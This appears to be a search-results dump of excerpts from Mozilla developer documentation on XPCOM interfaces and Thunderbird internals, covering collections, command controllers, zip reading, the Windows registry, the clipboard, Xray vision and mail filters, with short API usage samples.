...t32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); void removeelement(in nsisupports item); void setelementat(in pruint32 index, in nsisupports item); methods appendelement() appends a new item to the collection. void appendelement( in nsisupports item ) parameters item nsisupports item to be appended to the list. clear() removes all items from the collection. void clear(); parameters none. count() returns the number of items in the collection. pruint32 count(); parameters none. return value number of items in the list. enumerate() returns an nsienumerator that lets you iterate over the items in the collection. nsienumerator enumerate(); parameters none. return value an nsienumerator. getelementat() returns the element at the sp...
...void queryelementat( in pruint32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result ); parameters index position of the item to be queried. uuid nsiidref of the item. result comparison result of the previous two parameters. ...
nsICommandController
commands. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-command-controller;1. ...
... last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-command-controller;1. to create an instance, use: var commandcontroller = components.classes["@mozilla.org/embedcomp/base-command-controller;1"] .createinstance(components.interfaces.nsicommandcontroller); method overview void docommandwithparams(in string command, in nsicommandparams acommandparams); void getcommandstatewithparams( in string command, in nsicommandparams acommandparams); methods docommandwithparams() executes the specified command with a set of parameters contained in an nsicommandparams object. void docommandwithparams( in string command, in nsicommandparams acommandparams ); parameters command the command to execute. acommand...
...mmandparams); void getcommandstatewithparams( in string command, in nsicommandparams acommandparams); methods docommandwithparams() executes the specified command with a set of parameters contained in an nsicommandparams object. void docommandwithparams( in string command, in nsicommandparams acommandparams ); parameters command the command to execute. acommandparams the parameters. getcommandstatewithparams() void getcommandstatewithparams( in string command, in nsicommandparams acommandparams ); parameters command the command whose state is to be determined. acommandparams the command parameters. see also nsicontroller nsicontrollercontext ...
nsIContentViewManager
see getting access to content views for details. once you have the view manager, you can call getcontentviewsin() to get a list of the content views for a given portion of the browser display, then use those nsicontentview objects to manipulate the content views. method overview void getcontentviewsin(in float axpx, in float aypx, in float atopsize, in float arightsize, in float abottomsize, in float aleftsize, [optional] out unsigned long alength, [retval, array, size_is(alength)] out nsicontentview aresult); attributes attribute type description rootcontentview nsicontentview the root content view. read only. methods getcontentviewsin() returns an array of nsicontentview objects representing all of the content views that intersect ...
...r in each direction to expand the rectangle. this lets you, for example, take the coordinates at which the user clicked (or touched) the screen, and expand outward to create a rectangle from that point. pixels are in chrome device pixels and are relative to the browser element. void getcontentviewsin( in float axpx, in float aypx, in float atopsize, in float arightsize, in float abottomsize, in float aleftsize, out unsigned long alength, optional [retval, array, size_is(alength)] out nsicontentview aresult ); parameters axpx the x coordinate of the anchor point of the rectangle, in css pixels. aypx the y coordinate of the anchor point of the rectangle, in css pixels. atopsize the distance upward from the y anchor to expand the rectangle. arightsize the distance ...
...l [retval, array, size_is(alength)] out nsicontentview aresult ); parameters axpx the x coordinate of the anchor point of the rectangle, in css pixels. aypx the y coordinate of the anchor point of the rectangle, in css pixels. atopsize the distance upward from the y anchor to expand the rectangle. arightsize the distance to the right from the x anchor to expand the rectangle. abottomsize the distance downward from the y anchor to expand the rectangle. aleftsize the distance to the left from the x anchor to expand the rectangle. alength optional if specified, on return this parameter indicates the number of nsicontentview objects returned in the aresult array. aresult on return, an array of nsicontentview objects representing the content views in the specified rectangle.
nsIDOMFontFace
butes indicate how the font was found during the font matching process. note: the same physical font may have been found in multiple ways within a range. attribute type description fromfontgroup boolean indicates whether or not the font was located in a font group. read only. fromlanguageprefs boolean indicates whether or not the font was located using language preferences. read only. fromsystemfallback boolean indicates whether or not the font is the system fallback font. read only. attributes available for all fonts these attributes are always available. attribute type description cssfamilyname domstring a family name that could be used in css font-family (not necessarily the actual name that was used, due to aliases, generics, localized names, and so on). read only. nam...
...mfallback boolean indicates whether or not the font is the system fallback font. read only. attributes available for all fonts these attributes are always available. attribute type description cssfamilyname domstring a family name that could be used in css font-family (not necessarily the actual name that was used, due to aliases, generics, localized names, and so on). read only. name domstring full font name as obtained from the font resource. read only. ...
...amily (not necessarily the actual name that was used, due to aliases, generics, localized names, and so on). read only. name domstring full font name as obtained from the font resource. read only. attributes only available when specified with @font-face these attributes only have meaningful values when the font is a user font defined using @font-face. attribute type description format domstring the font format. read only. localname domstring null if not a src:local(...) rule. read only. metadata domstring xml metadata from woff file(if any). read only. rule nsidomcssfontfacerule null if no associated @font-face rule. read only. srcindex long index in the rule's src list, -1 if no @font-face rule. read only. uri domstring null if not a downloaded font, that is local. read ...
nsIDOMHTMLSourceElement
media elements in html. dom/interfaces/html/nsidomhtmlsourceelement.idlscriptable please add a summary to this article. last changed in gecko 1.9.1.2 inherits from: nsidomhtmlelement the source element allows authors to specify multiple media resources for media elements. it does not specify anything on its own. ...
... attribute type description src domstring the src attribute gives the address of the media resource. the value must be a valid url. this attribute must be present. note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or video) instead. type domstring the type attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it. if specified, its value must be a valid mime type. the codecs parameter may be specified and might be necessary to specify exactly how the resource is encoded. ...
...its value must be a valid media query. ...
nsIDOMMozNetworkStatsManager
in jsval start, in jsval end, [optional] in jsval options /* networkstatsgetoptions */); nsidomdomrequest addalarm(in nsisupports network, in long threshold, [optional] in jsval options /* networkstatsalarmoptions */); nsidomdomrequest getallalarms([optional] in nsisupports network); nsidomdomrequest removealarms([optional] in long alarmid); nsidomdomrequest clearstats(in nsisupports network); nsidomdomrequest clearallstats(); nsidomdomrequest getavailablenetworks(); nsidomdomrequest getavailableservicetypes(); attributes attribute type description samplerate lo...
...rfaces. threshold the total data usage threshold in bytes. options optional filtering options. networkstatsalarmoptions is a dictionary object providing filtering options. return value an nsidomdomrequest object. if successful, the result field of the domrequest keeps the alarm id. exceptions thrown invalidnetwork the network must be in the return of getavailablenetworks. getallalarms() obtain all alarms for those networks returned by getavailablenetworks. if a network is provided, only retrieves the alarms for that network. nsidomdomrequest getallalarms([optional] in nsisupports network); parameters network optional the origin of the data. it can specify wifi, mobile, or null. if null, data measurement from both origins are merged. to know in advance which kind of orig...
...m both origins are merged. to know in advance which kind of origin is available, the moznetworkstatsmanager.getavailablenetworks method returns an array of interfaces. return value an alarm object with the same fields as that in the system message; alarmid, network, threshold, and data. exceptions thrown invalidnetwork the network must be in the return of getavailablenetworks. removealarms() remove all network alarms. if an alarmid is provided, then only that alarm is removed. nsidomdomrequest removealarms([optional] in long alarmid); parameters alarmid id of an alarm, like the one returned by addalarm. return value an nsidomdomrequest object. clearstats() remove all stats related with the provided network from db. nsidomdomrequest clearstats(in nsisupports network); ...
nsIDOMXULLabeledControlElement
dom/interfaces/xul/nsidomxullabeledcontrolel.idlscriptable this interface is used as a basis for labeled control elements in xul. inherits from: nsidomxulcontrolelement last changed in gecko 1.7 attributes attribute type description accesskey domstring this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label for the element. ...
...st changed in gecko 1.7 attributes attribute type description accesskey domstring this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label for the element. when the user presses the appropriate modifier and the access key, the element will be focused and/or activated from anywhere in the window. on non-macintosh platforms, the character on the element's label matching the access key is underlined. note: the access key is copied to any associated label element. command domstring this property reflects the element's command attribute. crop domstring this property reflects the element's crop attribute. ...
..., the element will be focused and/or activated from anywhere in the window. on non-macintosh platforms, the character on the element's label matching the access key is underlined. note: the access key is copied to any associated label element. command domstring this property reflects the element's command attribute. crop domstring this property reflects the element's crop attribute. image domstring this property reflects the element's image attribute. label domstring this property reflects the element's label attribute. ...
nsIFeedProcessor
ko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-processor;1. to create an instance, use: var feedprocessor = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); method overview void parseasync(in nsirequestobserver requestobserver, in nsiuri uri); void parsefromstream(in nsiinputstream stream, in nsiuri uri); void parsefromstring(in astring str, in nsiuri uri); attributes attribute type description listener nsifeedresultlistener the feed result listener that will respond to feed events. methods parseasync() parses a feed asynchronously. the caller must then call the processor's nsistreamlistener meth...
...rsing process. you must not call any of the other parsing methods on the nsifeedprocessor interface during an asynchronous parse. void parseasync( in nsirequestobserver requestobserver, in nsiuri uri ); parameters requestobserver the observer to be notified when parsing starts and stops. this can be null. uri the base uri against which any uris in the feed are resolved. ...
...s on the nsifeedprocessor interface during an asynchronous parse. void parseasync( in nsirequestobserver requestobserver, in nsiuri uri ); parameters requestobserver the observer to be notified when parsing starts and stops. this can be null. uri the base uri against which any uris in the feed are resolved. parsefromstream() parses a feed from an nsiinputstream. void parsefromstream( in nsiinputstream stream, in nsiuri uri ); parameters stream pointer to the nsiinputstream from which to read and parse the feed. uri the base uri against which any uris in the feed are resolved. parsefromstring() parses a feed from an astring. void parsefromstring( in astring str, in nsiuri uri ); parameters str the string to parse as a feed. uri the base...
nsIHapticFeedback
longpress 1 specify as the action type...
... longpress 1 specify as the action type to perform a long vibration. me...
...ses["@mozilla.org/widget/hapticfeedback;1"] .getservice(components.interfaces.nsihapticfeedback); once you have the service, you can initiate haptic feedback (that is, cause the device to vibrate, if it's supported) by calling performsimpleaction(): hapticfeedback.performsimpleaction(components.interfaces.nsihapticfeedback.longpress); method overview void performsimpleaction(in long islongpress); constants press length constants constant value description shortpress 0 specify as the action type to perform a short vibration. longpress 1 specify as the action type to perform a long vibration. methods performsimpleaction() perform haptic feedback. void performsimpleaction( in long islongpress )...
nsILocalFile
vedesc); attributes attribute type description diskspaceavailable print64 the number of bytes available to non-superuser on the disk volume containing the nsilocalfile. read only. followlinks prbool determines whether or not the nsilocalfile will automatically resolve symbolic links. by default, this value is false on all non-unix systems. as of mozilla 1.7, this attribute is ignored on unix systems. persistentdescriptor acstring on some platforms, the value of nsifile.path may be insufficient to uniquely identify the file on the local file system. the persistent descriptor is intended to be used whenever a nsilocalfile needs to be serialized to disk and later recovered. this string is not intended for display ...
... updated. pr_excl with pr_create_file, if the file does not exist, the file is created. if the file already exists, no action and null is returned. delete_on_close file will be deleted when closed. mode a unix-style file permissions value. for example, the octal value 0600 may be used to limit read and write access to the current user of the system. this parameter may be ignored on systems that do not support file permissions. return value if the file is successfully opened, returns a pointer to the prfiledesc created for the newly opened file. returns a null pointer if the open failed. example #include "prio.h" #include "nserror.h" #include "nsilocalfile.h" // read the contents of a nsilocalfile... nsresult readlocalfile(nsilocalfile *alocalfile) { prfiledesc *fd; nsres...
...ly, 0, &fd); if (ns_failed(rv)) return rv; char buf[512]; print32 n; while ((n = pr_read(fd, buf, sizeof(buf))) > 0) { // do something with n-byte block of data from file... } if (n < 0) rv = ns_error_unexpected; pr_close(fd); return rv; } reveal() ask the operating system to open the folder which contains this file or folder. this routine only works on platforms which support the ability to open a folder. see the note in the remarks below. void reveal(); parameters none. setrelativedescriptor() initializes the file to the location relative to fromfile using a string returned by getrelativedescriptor(). void setrelativedescriptor( in nsilocalfile fromfile, in acstring relativedesc ); parameters fromfile the file to which the descriptor is...
nsIPushService
nsipushservice supports the push api implementation in firefox, and can be used directly from privileged code to create system subscriptions. implemented by @mozilla.org/push/service;1 as a service: const pushservice = components.classes["@mozilla.org/push/service;1"] .getservice(components.interfaces.nsipushservice); method overview void subscribe(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void getsubscription(in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void unsubscribe(in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback); methods subscribe() creates a push subscription. void subscribe( in dom...
...(), (code, subscription) => { if (!components.issuccesscode(code)) { cu.reporterror("error creating subscription: " + code); return; } // `subscription` implements `nsipushsubscription`. subscription.endpoint; subscription.getkey("p256dh"); subscription.getkey("auth"); } ); getsubscription() fetches an existing subscription. void getsubscription( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the unique scope url, as passed to nsipushservice.subscribe(). principal the subscription nsiprincipal, as passed to nsipushservice.subscribe(). callback the callback to call with the fetched nsipushsubscription. example pushservice.getsubscription( "chrome://my-module/push", sc...
..., (code, subscription) => { if (!components.issuccesscode(code)) { cu.reporterror("error fetching subscription: " + code); return; } // `subscription == null` if the `(scope, principal)` pair doesn't have a // push subscription. otherwise, it's an instance of `nsipushsubscription`. } ); unsubscribe() drops an existing push subscription. void unsubscribe( in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback ); parameters scope the unique scope url, as passed to nsipushservice.subscribe(). principal the subscription nsiprincipal, as passed to nsipushservice.subscribe(). callback the callback to call when the nsipushsubscription is dropped. example pushservice.unsubscribe( "chrome://my-module/push", sc...
nsITransactionManager
this is commonly referred to as the number of levels of undo. a value of -1 means no limit. a value of zero means the transaction manager will execute each transaction, then immediately release all references it has to the transaction without pushing it on the undo stack. a value greater than zero indicates the max number of transactions that can...
... execute each transaction, then immediately release all references it has to the transaction without pushing it on the undo stack. a value greater than zero indicates the max number of transactions that can exist at any time on both the undo and redo stacks. this method will prune the necessary number of transactions on the undo and redo stacks if the value specified is less than the number of items that exist on both the undo and redo stacks. numberofredoitems long the number of items on the redo stack. read only. numberofundoitems long the number of items on the undo stack. read only. methods addlistener() adds a listener to the transaction manager's notification list. listeners are notified whenever a transaction is done, undone, or redone. the listener's nsitransactionlistener.add...
...oid dotransaction( in nsitransaction atransaction ); parameters atransaction the nsitransaction to do. endbatch() turns off the transaction manager's batch mode. void endbatch(); parameters none. getredolist() returns the list of nsitransaction on the redo stack. note that the transaction at the top of the redo stack will actually be at the index n-1 in the list, where n is the number of items in the list. nsitransactionlist getredolist(); parameters none. return value a list of nsitransaction on the redo stack. getundolist() returns the list of nsitransaction on the undo stack. note that the transaction at the top of the undo stack will actually be at the index n-1 in the list, where n is the number of items in the list. nsitransactionlist getundolist(); parameters none. return valu...
nsIWebSocketListener
ocket traffic events asynchronously after calling nsiwebsocketchannel.asyncopen(). ...
...). 1.0 66 introduced gecko 8.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void onacknowledge(in nsisupports acontext, in pruint32 asize); void onbinarymessageavailable(in nsisupports acontext, in acstring amsg); void onmessageavailable(in nsisupports acontext, in autf8string amsg); void onserverclose(in nsisupports acontext, in unsigned short acode, in autf8string areason); void onstart(in nsisupports acontext); void onstop(in nsisupports acontext, in nsresult astatuscode); methods onacknowledge() called to acknowledge a message sent via nsiwebsocketchannel.sendmsg() or nsiwebsocketchannel.sendbinarymsg(). void onacknowledge( in nsisupp...
...ia nsiwebsocketchannel.sendmsg() or nsiwebsocketchannel.sendbinarymsg(). void onacknowledge( in nsisupports acontext, in pruint32 asize ); parameters acontext user defined context. asize number of bytes placed in os send buffer. onbinarymessageavailable() called when a binary message has been received. void onbinarymessageavailable( in nsisupports acontext, in acstring amsg ); parameters acontext user defined context. amsg the message data. onmessageavailable() called when a text message has been received. void onmessageavailable( in nsisupports acontext, in autf8string amsg ); parameters acontext user defined context. amsg the message data, as a utf-8 string. onserverclose() called when the server sends a close message. in...
nsIWinAccessNode
accessible/public/msaa/nsiwinaccessnode.idlnot scriptable please add a summary to this article. ...
... accessible/public/msaa/nsiwinaccessnode.idlnot scriptable please add a summary to this article. ...
... accessible/public/msaa/nsiwinaccessnode.idlnot scriptable please add a summary to this article. ...
nsIWindowsRegKey
that case, it is the responsibility of the consumer setting the hkey to ensure that it is a valid hkey. warning: setting the key does not close() the old key. native code only! valuecount unsigned long this attribute returns the number of values under this key. read only. constants root key constants the values for these keys correspond to the values from winreg.h in the ms platform sdk. the root_key_ prefix corresponds to the hkey_ prefix in the ms platform sdk. this interface is not restricted to using only these root keys. constant value description root_key_classes_root 0x80000000 root_key_current_user 0x80000001 root_key_local_machine 0x80000002 access constants values for the mode paramete...
... using only these root keys. constant value description root_key_classes_root 0x80000000 root_key_current_user 0x80000001 root_key_local_machine 0x80000002 access constants values for the mode parameter passed to the open() and create() methods. the values defined here correspond to the regsam values defined in winnt.h in the ms platform sdk, where access_ is replaced with key_. this interface is not restricted to using only these access types. constant value description access_basic 0x00020000 access_query_value 0x00000001 access_set_value 0x00000002 access_create_sub_key 0x00000004 access_enumerate_sub_keys 0x00000008 ...
...ccess_enumerate_sub_keys | access_notify access_write access_basic | access_set_value | access_create_sub_key access_all access_read | access_write wow64_32 0x00000200 wow64_64 0x00000100 type constants values for the type of a registry value. the numeric values of these constants are taken directly from winnt.h in the ms platform sdk. the microsoft documentation should be consulted for the exact meaning of these value types. this interface is somewhat restricted to using only these value types. there is no method that is directly equivalent to regqueryvalueex or regsetvalueex. in particular, this interface does not support the reg_multi_sz and reg_expand_sz value types. it is still possible to enumerate values th...
nsIXULTemplateBuilder
lowed by its initializeforbuilding() method when the content is to be regenerated. void rebuild(); parameters none. refresh() reloads any rdf datasources that support nsirdfremotedatasource. note: this is a temporary hack so that remote-xul authors can reload remote datasources. when rdf becomes remote-scriptable, this will no longer be necessary. void refresh(); parameters none. addresult() informs the template builder that a new result is available. the builder will add this result to the set of results. the query node that the new result applies to must be specified using the aquerynode parameter. the builder will apply the rules associated with the query to the new result, unless a result with the same id from an earlier query supersedes it, and the result's rulematched() method will be ...
...less a result with the same id from an earlier query supersedes it, and the result's rulematched() method will be called if it matches. void addresult( in nsixultemplateresult aresult, in nsidomnode aquerynode ); parameters aresult the result to add. aquerynode the query to which the result applies. errors throws ns_error_null_pointer if aresult or aquerynode is null. removeresult() informs the template builder that a result no longer applies. the builder will call the remove content generated for the result, if any. if a different query would then match instead, it will become the active match. this method will have no effect if the result isn't known to the builder. void removeresult( in nsixultemplateresult aresult ); parameters aresult the result to remove errors throws ns_...
... new result. void replaceresult( in nsixultemplateresult aoldresult, in nsixultemplateresult anewresult, in nsidomnode aquerynode ); parameters aoldresult the old result. anewresult the new result. aquerynode the query that the new result applies to. errors throws ns_error_null_pointer if either argument is null, or ns_error_invalid_arg if the ids don't match resultbindingchanged() informs the template builder that one or more of the optional bindings for a result has changed. in this case, the rules are not reapplied as it is expected that the same rule will still apply. the builder will resynchronize any variables that are referenced in the action body. void resultbindingchanged( in nsixultemplateresult aresult ); parameters aresult the result to change errors throws ns_erro...
nsIZipReader
d by: @mozilla.org/libjar/zip-reader;1. to create an instance, use: var zipreader = components.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8. this can mismatch characters in the nsizipreader api. starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), the nsizipreader api supports a limited 8 bit code page usage. all functions now pass the filenames (both in and out) as autf8string. so you can now read and extract what you wrote with nsizipwriter. if you show filenames from the f...
...() returns an input stream containing the contents of the specified zip entry. if the entry refers to a directory (ends with '/'), a directory stream is opened, otherwise the contents of the file entry is returned. nsiinputstream getinputstreamwithspec( in autf8string ajarspec, in autf8string zipentry ); parameters ajarspec the spec of the uri for the jar (only used for directory streams). zipentry the name of the entry to open() the stream from. return value the nsiinputstream containing the contents of the specified zip entry. hasentry() checks whether the zipfile contains an entry specified by zipentry. boolean hasentry( in autf8string zipentry ); parameters zipentry the zip entry. return value boolean value, true if the zip entry exists, false is it does no...
...ninner( in nsizipreader zipreader, in autf8string zipentry ); parameters zipreader the zipreader object. zipentry the zip entry. test() tests the integrity of the archive by performing a crc check on each item expanded into memory. if an entry is specified the integrity of only that item is tested. if null (javascript) or emptycstring() (c++) is passed in the integrity of all items in the archive are tested. void test( in autf8string aentryname ); parameters aentryname the single entity to check or null for checking all entries in the archive. examples list contents of xpi and read file contents this example uses findentries, getentry, getinputstream, open, and close. it also uses nsiscriptableinputstream to read the stream returned by getinputstream. xpi files...
nsPIPromptService
not for other developers. inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: the contract id isn't defined. this interface defines the meaning of each indexes of getint(), setint(), getstring() and setstring() of the nsidialogparamblock interface but they are defined on in c++. ...
...in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: the contract id isn't defined. this interface defines the meaning of each indexes of getint(), setint(), getstring() and setstring() of the nsidialogparamblock interface but they are defined on in c++. the indexes for getstring() and setstring() are: emsg the value is 0. this is the message text of the dialog. echeckboxmsg the value is 1. this is the label text of a checkbox on the dialog. eiconclass the value is 2. this is the class attribute value of the icon image. etitlemessage the value is 3. this is the heading of the message. eeditfield1msg the value is 4. this is the label text of the first text field on the dialog. eeditfield2msg the value is 5. this is the label text of the second text field on the dialo...
...alog. ebutton2text the value is 10. this is the label of the third button on the dialog. ebutton3text the value is 11. this is the label of the forth button on the dialog. edialogtitle the value is 12. this is the title of the dialog. eopeningsound obsolete since gecko 1.9.2 the value is 13. this is the system sound name which should be played when the dialog is shown. see also nsisound.playsystemsound(). this is obsolete on gecko 1.9.2 and later. you should use esoundeventid instead. the indexes for getint() and setint() are: ebuttonpressed the value is 0. this is used for the result of the dialog. the pressed button number will be returned. echeckboxstate the value is 1. this is the default checkbox state and the result of it. enumberbuttons the value is 2. this is the number of the vis...
Troubleshooting XPCOM components registration
d module loads while running your application. open the profile menu and select start profiling.... in the dialog that appears, you can provide command line parameters and click ok to start the application. you will see any modules that failed to load in the module list. note: you should delete compreg.dat from your profile before doing this. note that even your version of msvc may matter; your test machine may not have the c runtime libraries (msvcr70.dll / msvcp70.dll for msvc 7.0, and similarly named files for 7.1 and 8.0) available. this even means that if you are using a component stub, the stub needs to be compiled using a version which the machine does support; most likely this means msvc 6.0. it may then be necessary for the stub to locate the newer runt...
... if you have the option, you can manually copy these dependencies to firefox.exe's directory, to windows\system32, or to any directory is the system's path. a google groups thread on the matter is located here. ...
...stub needs to be compiled using a version which the machine does support; most likely this means msvc 6.0. it may then be necessary for the stub to locate the newer runtime libraries for the other files it loads. if you compiled the component with msvc 8.0 (2005) and are attempting to use it on a windows xp machine or later, it will need a manifest embedded to find the runtime. please refer to msdn for details. if you have the option, you can manually copy these dependencies to firefox.exe's directory, to windows\system32, or to any directory is the system's path. a google groups thread on the matter is located here. the dllmain code that msvc 8 (and probably earlier versions too) generates for you doesn't need to be there, you can remove it. you may be able build your compone...
Using the clipboard
he transferring object about the type of data being copied. tell the transferring object about the data to copy. create a clipboard object which refers to the system clipboard. tell the clipboard object to copy the data using the transferring object. you might wonder why a transferring object is needed instead of just putting the object directly on the clipboard. one reason is that some systems do not copy the data right away. instead, they wait until the data is pasted. another reason is that the transferable can hold multiple representations of the same data. for example, a piece of html can be represented in both its original html form and in plain text. if an application wants to get the data from the clipboard and doesn't understand html, it can use the plain text version. if it do...
...ata (and the parameter to emptyclipboard) indicates which clipboard buffer to use. the above code uses the constant kglobalclipboard for this, which refers to the global clipboard. this would be the same one that cut and paste operations from the edit menu typically use. if you use kselectionclipboard instead, you will copy into the selection buffer, which is generally only available on unix systems. this multi-step process has resulted in text being copied on the clipboard. we can cut to the clipboard instead of copying by doing a copy and then deleting the original data. normally, the text would be in a document or textbox. the code is put together below, with additional error checking: var copytext = "text to copy"; var trans = transferable(sourcewindow); trans.adddataflavor("text/uni...
...(null) trans.adddataflavor("text/unicode"); this code gets the system clipboard object and a transferable object. the flavor is added to the transferable. next, we need to get the data from the clipboard: services.clipboard.getdata(trans, services.clipboard.kglobalclipboard); var str = {}; var strlength = {}; trans.gettransferdata("text/unicode", str, strlength); the first line performs the opposite of setdata. the data currently on the system clipboard is placed into the transferable. next we create two javascript objects which will hold the return values from gettransferdata. then we use gettransferdata to retrieve the data from the transferable. we specify the flavor we would like to get. the data will be converted if it is not available in the desired flavor, and a conversi...
Xray vision
ending on whether they clicked "ok" or "cancel". a web page could redefine it to return true: window.confirm = function() { return true; } any privileged code calling this function and expecting its result to represent user confirmation would be deceived. this would be very naive, of course, but there are more subtle ways in which accessing content objects from chrome can cause security problems. this is the problem that xray vision is designed to solve. when a script accesses an object using xray vision it sees only the native version of the object. any expandos are invisible, and if any properties of the object have been redefined, it sees the original implementation, not the redefined version. so in the example above, chrome code calling the content's window.confirm() would get th...
...for example: the detail property of a customevent fired by content could be a javascript object or date as well as a string or a primitive the return value of evalinsandbox() and any properties attached to the sandbox object may be pure javascript objects also, the webidl specifications are starting to use javascript types such as date...
... aim of xray vision is to make most common operations simple and safe, avoiding the need to access the underlying object except in more involved cases. so the semantics defined for object and array xrays aim to make it easy for privileged code to treat untrusted objects like simple dictionaries. any value properties of the object are visible in the xray. if the object has properties which are themselves objects, and these objects are same-origin with the content, then their value properties are visible as well. there are two main sorts of restrictions: first, the chrome code might expect to rely on the prototype's integrity, so the object's prototype is protected: the xray has the standard object or array prototype, without any modifications that content may have done to that prot...
Filelink Providers
filelink is a thunderbird feature that makes it easy for users to upload large attachments to web-based storage services such as hightail. this document explains how to extend thunderbird to support additional web-based storage services. nsimsgcloudfileprovider note: cloudfiles and bigfiles were the two temporary feature names that were used while filelink was under construction. both refer to the filelink feature. filelink storage providers must implement the nsimsgcloudfileprovider interface. the hightail implementation is a great place to look for examples and inspiration. the nsimsgcloudfileprovider implementation must be registered as a component. if the provider is being merged into the comm-central code repository (and thus added to the official thunderbird build), you mu...
...also, you must add the component's contract id to the "cloud-file" category. see cloudfile/cloudfilecomponents.manifest for an example, as well as this document on chrome.manifest files. ...
...nt. other providers however may require the user to fill in additional details in order to connect to the service. hightail, for example, requires a username and password. other services may require the user to fill in a server string or port number. a provider implementation can choose what information it gets from the user from the setup dialog by pointing the settingsurl attribute of their nsimsgcloudfileprovider implementation to a chrome url for an xhtml page that contains a form with the extra information. that url is then loaded into an iframe directly beneath the provider menulist. note: the setup dialog window should resize itself automatically in order to fit the content of the iframe without scrollbars. custom settings fields to handle custom settings, the settings xhtml page ...
MailNews fakeserver
or the entirety of the test. the handler is the glue between the server and the daemon. this area will be the most diverse of all components, as edge cases with quirky servers being liberal with the specs will require different handlers. writing a new fakeserver since the number of protocols we use is very small, most people shouldn't have to write an entirely new daemon and handler setup by themselves. that said, someone writing a new test may have to take into account a new handler. a handler will contain the following methods: <caption> handler methods </caption> name arguments returns notes [command] rest of sent line server's response the name is normalized to be uppercase. onerror command, rest of sent line server's response called if handler does not define the command funct...
...as the transmission medium. the server presents the following api to the handler: <caption> server api </caption> name arguments returns description closesocket none nothing closes the socket and stops the test. setmultiline the new value of multiline nothing the value is a boolean, with true invoking multiline mode. it is off by default. extending a handler to provide different mechanisms is a process not defined here; please check the documentation of the corresponding handler for instructions. using fakeserver in xpcshell tests since there are three different components of fakeserver, a total of four objects need to be set up in a fakeserver test on top of other testing. the outline of a test looks like this: var daemon = setupdaemon(); // check with your local fakeserver docs ...
...cs var handlers = [ /* some set of handlers */ ]; for (var handler in handlers) { // this sets up the fake server var server = new nsmailserver(new handler(daemon)); // port to use. i tend to like using 1024 + default port number myself. // probably best to include as a constant somewhere. also, use something // larger than 1024 for best results. ...
MailNews Filters
mailnews filters consist of a set of search terms, and a set of filter actions. filter execution is done by evaluating the search terms using the core mailnews/base/search code, and then applying the filter hits when the search terms match. for new incoming messages, the protocol specific object that handles new messages calls nsimsgfilterlist::applyfilterstohdr and passes itself in as nsimsgfilterhitnotify interface to handle filter hits. e.g., imap, pop3. applyfilterstohdr will in turn call the applyfilterhit method of the passed in nsimsgfilterhitnotify interface ptr. the protocol specific code will then apply all of the actions of the filter to the current msg header. if one of the actions is a move, or a stop filter execution action, we move on to the next header; otherwise, we ...
...inished downloading headers. we also coalesce moves to the same destination folder, so that we can do them in one url/command to the server, and we playback those moves when the header download is done. after the fact filters these are one or more filters run on one or more folders *after* the headers have been downloaded. ...
...ers have been downloaded. these filters are initiated in the filter editor, and implemented in nsmsgfilterservice.cpp. this is implemented by doing a search using the filter criteria and applying the actions en masse on the resulting hits. the search is executed locally, not on the server, so that criteria like "in address book" still work. ...
Finding the code for a feature
frequently you are trying to figure out the code that implements a specific feature of the user interface. how do you find that out? as an example, i received the following inquiry, and i decided to follow my usual path and document what i do: hello i would like to add colours and tags to specific emails...by using nsimsgtagservice, can this be done? here is my (edited) response: nsimsgtagservice is used to store the list of valid tags, so it is not the correct way to tag messages. tags are applied using the message database property "keyword". i know the underlying code, but i don't remember the user interface level function to do it. but here is how i find out. there are two key tools that you need. the first is the dom inspector extension which i have routinely installed in all of my...
...es it do it? using dom inspector, i find the tag menu item, and i see that it uses command "cmd_tag". then i use mxr and look for "cmd_tag". i see it occurs in mail3panewindowcommands.js a couple of times. i look at the last occurrence, and see it is just an enable item with no real action involved. oops, i guess i need to get the submenu instead. repeating this process, i see that the submenu items all call a function togglemessagetagmenu. looking that up in mxr, its underlying function uses a very strange call prevhdrfolder[toggler](messages, key) to change the key. trying to figure that out from the code, i see that is just a clever way to do the addkeywordstomessages or removekeywordsfrommessages method call. (please don't do that guys, it really makes code search difficult!) so the ans...
...menu. looking that up in mxr, its underlying function uses a very strange call prevhdrfolder[toggler](messages, key) to change the key. trying to figure that out from the code, i see that is just a clever way to do the addkeywordstomessages or removekeywordsfrommessages method call. (please don't do that guys, it really makes code search difficult!) so the answer the your question is, use the nsimsgfolder method "addkeywordstomessages" (and now i remember that i knew that!). if you want examples, scan mxr for addkeywordstomessages. you'll find that the only decent examples are in unit tests, my test_bug428427.js or asuth's messagemodifier.js ...
Access Thunderbird Window Areas
ular parts of the thunderbird window you can use these helper methods. ...
...nderbird window you can use these helper methods. ...
... use these helper methods. ...
Use SQLite
